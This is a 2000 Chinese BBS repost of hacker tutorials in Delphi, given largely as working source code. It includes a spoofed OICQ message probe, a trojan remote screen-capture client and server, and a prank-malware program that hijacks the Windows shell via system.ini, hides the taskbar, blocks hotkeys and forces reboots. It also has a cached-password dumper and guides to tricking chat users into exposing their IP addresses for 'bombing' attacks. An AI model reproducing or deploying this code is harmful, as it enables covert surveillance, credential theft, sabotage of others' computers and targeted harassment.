精华公布栏

发信人: jinqiao (长夜漫漫·无心睡眠), 信区: BorlandDev
标  题: DELPHI编程与黑客技术(from www.21road.com)
发信站: 哈工大紫丁香 (2000年10月31日20:59:26 星期二), 站内信件

//from www.21road.com
//祝lofe早日恢复健康�

DELPHI编程与黑客技术

※ 追捕的OICQ探测技术

冯志宏

实际上目前所有的OICQ探测方法都一样，发送一个OICQ消息给对方，凭借OICQ
的返回信息来判断对方的OICQ号码，具体的DELPHI实现如下：
NMUDP1是ICS控件包的UDP控件。

NMUDP1.ReportLevel := Status_Basic;
NMUDP1.RemoteHost := edit1.Text;
NMUDP1.RemotePort := 4000;

UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f
+FormatDateTime('yyyy-mm-dd',now)
+#$1f
+FormatDateTime('hh:mm:ss',now)
+#$1f
+ '你正在被某位朋友查询。他使用了追捕这个工具软件(http://www.zhuibu.
com/)进行探测，此OICQ号
码已经被反馈给对方。'
+ '信息所提示的OICQ号码为虚假号码，但可以即时回复。' + #$03;

if OicqCheck.Checked then begin
for SendUdpNum:=1 to 10 do begin
MyStream := TMemoryStream.Create;
try
MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr));
NMUDP1.SendStream(MyStream);
finally
MyStream.Free;
end;
end;
end;

===================================================================

※ 远程屏幕抓取,写一个木马程序必备的技巧

檀革勤

木马的一个很重要的功能就是远程监视屏幕，下面的文章讲述了怎样利用UDP协议
来实现，而不是我们
通常用到的tcp/ip协议，很有特色，值得一学。

一、软硬件要求。

Windows95/98对等网，用来监视的计算机（以下简称主控机）和被监视的计算机（
以下简称受控机）都
必须装有TCP/IP 协议，并正确配置。如没有网络，也可以在一台计算机上进行调
试。

二、实现方法。

编制两个应用程序，一个为VClient.exe，装在受控机上，另一个为VServer.exe，
装在主控机上。
VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小
和位置，并发出屏幕
抓取指令给VClient.exe，VClient.exe得到指令后，在受控机屏幕上选取指定区域
，生成数据流，将
其发回主控机，并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出，
该方法的关键有二：
一是如何在受控机上进行屏幕抓取，二是如何通过TCP/IP协议在两台计算机中传输
数据。

UDP(User Datagram Protocol，意为用户报文协议)是Internet上广泛采用的通信
协议之一。与TCP协议
不同，它是一种非连接的传输协议，没有确认机制，可靠性不如TCP，但它的效率
却比TCP高，用于远程
屏幕监视还是比较适合的。同时，UDP控件不区分服务器端和客户端，只区分发送
端和接收端，编程上
较为简单，故选用UDP协议，使用Delphi 4.0提供的TNMUDP控件。

三、创建演示程序。

第一步，编制VClient.exe文件。新建Delphi工程，将默认窗体的Name属性设为“
Client”。加入TNMUDP
控件，Name属性设为“CUDP”；LocalPort属性设为“1111”，让控件CUDP监视受
控机的1111端口，当有
数据发送到该口时，触发控件CUDP的OnDataReceived事件；RemotePort属性设为“
2222”，当控件CUDP发
送数据时，将数据发到主控机的2222口。

在implementation后面加入变量定义

const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }

为Client的OnCreate事件添加代码：
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

为控件CUDP的OnDataReceived事件添加代码：
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发，必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;
end;

其中ScreenCap是自定义函数，截取屏幕指定区域，
代码如下：
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”，
并编译。

第二步，编制VServer.exe文件。新建Delphi工程，将窗体的Name属性设为“
Server”。加入TNMUDP控件，
Name属性设为“SUDP”；LocalPort属性设为“2222”，让控件SUDP监视主控机的
2222端口，当有数据发
送到该口时，触发控件SUDP的OnDataReceived事件；RemotePort属性设为“1111”
，当控件SUDP发送数据
时，将数据发到受控机的1111口。加入控件Image1，Align属性设为“alClient”
；加入控件Button1，
Caption属性设为“截屏”；加入控件Label1，Caption属性设为“左：上：右：下
”；加入控件Edit1，
Text属性设为“0:0:100:100”；加入控件Label2，Caption属性设为“受控机IP地
址”；加入控件Edit2，
Text属性设为“127.0.0.1”；

在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

为Server的OnCreate事件添加代码：
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

为控件Button1的OnClick事件添加代码：
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

为控件SUDP的OnDataReceived事件添加代码：
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;

存为“C:\VServer\SvrUnit.pas”和
“C:\VServer\VServer.dpr”，并编译。
---- 四、测试。

1、本地机测试：在本地机同时运行Vserver.exe和VClient.exe，利用程序的默认
设置，即可实现截屏。
查看“控制面板”-“网络”-“TCP/IP”-“IP地址”，将程序的“客户IP地址”
设为该地址，同样正
常运行。

2、远程测试：选一台受控机，运行VClient.exe；另选一台主控机，运行
VServer.exe，将“受控机IP
地址”即Edit2的内容设为受控机的IP地址，“截屏”即可。以上简要介绍了远程
屏幕抓取的实现方法，
至于在主控机上一屏同时监视多个受控机，读者可自行完善。以上程序，在
Windows98对等网、Delphi
4.0下调试通过

=====================================================================

※ 利用外壳的妖之吻

一个简单而且粗糙的无聊的程序，启动时加载。
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,inifiles, Graphics, Controls,
Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons;

type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Timer2: TTimer;
Label2: TLabel;
SpeedButton1: TSpeedButton;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Timer2Timer(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
var
sysini:tinifile;//定一个ini，准备动手术
j,i:integer;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
exitwindowsex(ewx_reboot,0);//倒数时间到，关机罗！
end;

procedure TForm1.FormCreate(Sender: TObject);
var
hregion,wndHandle : THandle;
wndClass : array[0..50] of Char;
k:string;
begin
hregion:=createellipticrgn(14,200,350,14);//想画个不规则窗体
setwindowrgn(handle,hregion,true);
StrPCopy(@wndClass[0], 'Shell_TrayWnd');
wndHandle := FindWindow(@wndClass[0], nil);
ShowWindow(wndHandle, SW_HIDE);
i:=60;
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
systemparametersinfo(97,1,nil,0);//屏蔽热键
timer1.Enabled:=false;
sysini:=Tinifile.Create('system.ini');
k:=sysini.ReadString('boot','shell',k);//这里准备做成启动20次恢复，
if (k='explorer') or (k='explorer.exe') then
begin
sysini.WriteInteger('mci','mcicount',20);
sysini.WriteString('boot','shell',application.ExeName);//这里用自己替换
掉了shell
end
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin
systemparametersinfo(97,0,nil,0);//取消屏蔽
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
i:=i-1;
label2.Caption:=inttostr(i);
if i=1 then
begin
timer2.Enabled:=false;
timer1.Enabled:=true;
j:=sysini.ReadInteger('mci','mcicount',j);
j:=j-1;
if j=1 then
begin
sysini.WriteString('boot','shell','explorer.exe');//当启动满了20次，恢复
shell
end;
end;
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);//调试用的
begin
timer1.Enabled:=false;
timer2.Enabled:=false;
application.Terminate;
systemparametersinfo(97,1,nil,0);
end;
end.
还存在个问题，这个程序里面的代码没有屏蔽掉Alt+F4,可以更换成别的办法。

=================================================================

※ 写一个类PwlView密码查看的程序

以下是PWLVIEW的源代码：
unit Unit1;

interface

uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;

type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;

var
Form1: TForm1;

const
Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; stdcall;

implementation

{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;

var
WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool;
stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.
ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);

Form1.ListBox.Items.Add(Password);
Result := True;
end;

procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(GetDesktopWindow, 'open', 'http://wlhyy.126.com', nil, nil,
0);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.',
'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add('No passwords found...');
end;

end.

======================================================================

※ 乱弹IP查询

千年老妖

这个网络上最不缺的就是灰客，灰客们的话题永远停留在怎么怎么查找IP上面，为
什么了？因为有了IP,
顿时天空都明朗了，IGMP炸弹..追捕..ICQ炸弹..木马十八般武艺顿时有了用武之
地。灰客们咬来嚼去的
所谓之技术，其中所谓之查IP的技术，根本谈不上是什么技术，其实很简单，就这
么几个花样...这里慢
慢拿出来晒晒太阳..
至于古老的从dos下面netstrat这里就不谈了，因为早有人做成了windows版本的。
就目前最简单最容易
上手的方法和原理浅谈一二，当然，如果你是在电信数据局工作，这个就免看了，
去服务器就搞定...
一个无聊的灰客最喜欢做什么？这个还用说，炸人呗，极端无聊的灰客喜欢做什么
？找一段IP挨个炸，
一个简单的扫描器就行了，看看那些IP能ping通，稍微有点目标的话，用用追捕的
月光搜索，它的原理
是利用netbios挨个扫描出一个网段上每个活动IP的计算机名，非常好用，我和几
个朋友在网络上自建三
角州服务器玩三角，他们怎么找到我的IP呢？就用这个，也不用我挨个通知了，我
的计算机名是wlhsoft
,他们一扫描就知道了，很实用吧？用来快速准确查找一个长期养马的机器也特别
方便。
当一个豪气万丈的灰客在聊天的时候，在泡MM的时候遇到了对手怎么办？当然是一
击必杀了，如果是在
oicq上面就方便多了，此类炸弹软件多如牛毛，oicq是基于UDP协议的聊天工具，
协议的特性注定了安全
性远远跟不上基于TCP/IP协议的工具，oicq的每条信息都包含了你的IP地址，只需
要把数据报截获下来分
析就知道了，做到程序里面就成了灰客们常用的oicqIP查询的工具，详细做法另文
再谈。这是利用软件的
缺陷查IP。无需灰客动脑，一切搞定。
如果是在聊天室里面怎么办？一个web聊天室如果在里面没有权限，看不到IP是很
痛苦的，如果这个聊天
室支持html,就好办了，我在delphi编程里面的贴介绍了怎么做一个IP猎人，就用
它，用你自己制作的软
件来抓IP,原理不用多说了，看看那篇贴子就很明白了。只要你和对方的机器有个
直接的访问就可以了，
用html代码让对方的浏览器直接访问自己的机器，默认80端口，发一个图或者一个
音乐，(img src=http
://你本机IP/xx.jpg)即可，这种方法很古老的，很多聊天室已经不能使用html了
，但是又怎么难得到技
术高超的灰客呢？嘿嘿，变通一下，用花言巧语吧，欺骗对方来访问你的IP,‘我
找到一个好网站哦！！
！'此类的话很容易吧？为了更像一点，干脆去免费申请一个 yahoo.126.com的域
名直接指向你的IP,嘿嘿
，当然对方连接你，他的浏览器会看到'web地址已经找到’,但是无论如何也打不
开了。这种方法是万金油
，到处都可以抹，只要你能言善骗，一脸无可挑剔的真诚，警惕性再高的人都会被
你抓住.还有几种小方法
，比如利用访问日志，聊天室的bug把message.cgi打开了之类的，觉得没多大意思
，就上面的几个小办法
足以满足一个灰客的日常需要了。

===================================================================

※ 怎样用delphi制作一个IPhunter(独孤剑客的IP猎人）

千年老妖

很多朋友用过独孤剑客写的IPhunter吧，它是利用在聊天室发图片的原理查找对方
IP，其实不仅仅是聊天
室，只要有人对你的机器存在访问，就能够抓到他的IP,甚至主机名，在老妖的软
件猎鹿人当中也利用了这
个原理，在delphi中是很容易实现的，现在我们用delphi来做一个和IPhunter一模
一样的软件。
有人说现在的程序员成了组装工人，其实很有道理，利用控件模块+少量代码就可
以实现,delphi 5.0提供
了丰富的internet控件，利用TCP/IP 客户端-服务端就可以解决问题。关键的控件
是ServerSocket,我们模
仿IPhunter的界面用一个button1（按钮）,一个combobox1（用于显示），这三个
最基本的控件放置到空白
窗体上就可以开始写代码了。
首先，这个combobox1必须能显示多个IP,我们定一个变量y来累加combobox1.
items[y]，
var y:integer;
我们的思路如下，当ServerSocket活动的port(端口）收到基于TCP/IP协议的连结
请求时候，返回对方的IP
值，传递给combobox显示出来。由button1控制ServerSocket的激活，也就是打开
关闭端口。
我们在ServerSocket的On ClientConnect事件中加入一下代码
procedure TForm1.ServerSocket11ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
combobox1.Items.Insert(y,'');//加入一条空纪录
combobox1.Items[y]:=socket.RemoteAddress;//获取对方的IP
label1.Text:='共捕获'+inttostr(y+1)+'个IP';//用一个标签来显示一共抓了多
少IP
y:=y+1;//计数变量加1
socket.Close;
end;
现在，将button1的caption属性设置为 '开始',在它的单击事件中加入以下代码

procedure TForm1.SpeedButton7Click(Sender: TObject);
begin
if speedbutton7.Caption='开始' then
begin
serversocket11.Port:=80;//这句可以在serversocket属性中设定，捕获浏览器的
连接
ServerSocket11.Active:=true;//激活端口
speedbutton7.Caption:='停止';
end
else
begin
serversocket11.Active:=false;//关闭端口
speedbutton7.Caption:='开始';
combobox1.Clear;//结束捕获，清空历史信息
y:=0;//计数变量复位
end;
end;
现在一个IPhunter基本就可以使用了，这只是很简单原型，加上您自己精心制作的
界面，就是一个网络灰
客工具了，这个功能也集成到了猎鹿人里面，这里说到的只是ServerSocket最基本
的一点功能而已，加上
ClientSocket就可以做一个聊天工具，只用ClientSocket可以做一个和代理猎手一
样的扫描软件。

黑白道 - 21Road.com 为您搜集一切 !

--
   I Believe I can Fly!
          I Believe I can Touch The Sky!
                              <@>
                               |
                            ^\ | /^
                              \|/

※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 202.118.170.152]